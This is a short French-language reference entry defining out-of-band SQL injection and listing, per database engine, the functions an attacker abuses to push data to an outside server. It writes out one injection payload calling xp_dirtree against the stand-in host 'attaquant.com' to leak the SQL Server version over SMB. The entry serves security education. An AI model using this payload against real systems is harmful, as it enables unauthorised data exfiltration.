Out-of-Band SQL Injection

Définition

L'injection SQL out-of-band (OOB) utilise des canaux de communication alternatifs au canal HTTP pour exfiltrer des données depuis la base de données. Au lieu d'inclure les données dans la réponse HTTP (union-based, error-based) ou de déduire les informations via des délais (time-based), l'OOB force la base de données à établir des connexions sortantes vers un serveur contrôlé par l'attaquant, transportant les données exfiltrées. Les mécanismes OOB varient selon le SGBD : MySQL utilise LOAD_FILE() avec des chemins UNC (uniquement sur Windows avec les droits appropriés) ou des fonctions permettant des requêtes HTTP (MariaDB), SQL Server utilise des procédures stockées comme xp_dirtree (connexion SMB vers un path UNC) ou xp_cmdshell avec des commandes réseau, PostgreSQL utilise COPY TO avec des URLs ou des appels à des programmes externes, et Oracle utilise des packages UTL_HTTP pour des requêtes HTTP ou UTL_FILE pour des fichiers réseau. L'exemple SQL Server est le plus documenté : '; EXEC xp_dirtree '\\attaquant.com\share\'+@@version--. Le serveur SQL tente d'accéder à un partage SMB dont le path contient la version de SQL Server. L'attaquant, avec Responder ou un serveur SMB (impacket-smbserver), capture cette connexion et lit la version dans le log. L'OOB SQLi est particulièrement utile quand toutes les autres techniques sont inapplicables : l'application ne retourne pas de résultats, ne montre pas d'erreurs, et les délais sont masqués par des mécanismes de cache ou de load balancing. Elle nécessite que la base de données soit capable d'établir des connexions sortantes (souvent bloqué en production par les pare-feux) et des permissions élevées pour les procédures réseau. Des outils comme OAST (Out-of-band Application Security Testing) via Burp Collaborator génèrent des sous-domaines uniques que la base de données contacter pour l'exfiltration, simplifiant la détection des connexions OOB.